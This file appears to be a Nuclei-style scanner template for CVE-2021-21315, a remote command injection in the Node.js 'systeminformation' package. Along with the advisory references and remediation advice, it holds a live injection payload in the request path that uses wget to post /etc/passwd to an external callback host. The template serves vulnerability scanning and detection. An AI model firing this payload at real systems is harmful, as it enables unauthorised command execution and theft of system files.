53 lines
1.9 KiB
YAML
53 lines
1.9 KiB
YAML
id: CVE-2021-21315
|
|
|
|
info:
|
|
name: Node.JS System Information Library <5.3.1 - Remote Command Injection
|
|
author: pikpikcu
|
|
severity: high
|
|
description: Node.JS System Information Library System before version 5.3.1 is susceptible to remote command injection. Node.JS (npm package "systeminformation") is an open source collection of functions to retrieve detailed hardware, system and OS information.
|
|
reference:
|
|
- https://github.com/ForbiddenProgrammer/CVE-2021-21315-PoC
|
|
- https://security.netapp.com/advisory/ntap-20210312-0007/
|
|
- https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-2m8v-572m-ff2v
|
|
- https://www.npmjs.com/package/systeminformation
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-21315
|
|
remediation: Upgrade to version 5.3.1. As a workaround instead of upgrading, be sure to check or sanitize service parameters that are passed to si.inetLatency(), si.inetChecksite(), si.services(), si.processLoad() ... do only allow strings, reject any arrays. String sanitation works as expected
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 7.8
|
|
cve-id: CVE-2021-21315
|
|
cwe-id: CWE-78
|
|
epss-score: 0.97232
|
|
cpe: cpe:2.3:a:systeminformation:systeminformation:*:*:*:*:*:node.js:*:*
|
|
metadata:
|
|
max-request: 1
|
|
framework: node.js
|
|
vendor: systeminformation
|
|
product: systeminformation
|
|
tags: nodejs,cve,cve2021,kev
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/api/getServices?name[]=$(wget%20--post-file%20/etc/passwd%20{{interactsh-url}})"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "wget --post-file /etc/passwd {{interactsh-url}}"
|
|
- name
|
|
- running
|
|
- pids
|
|
condition: and
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "application/json"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|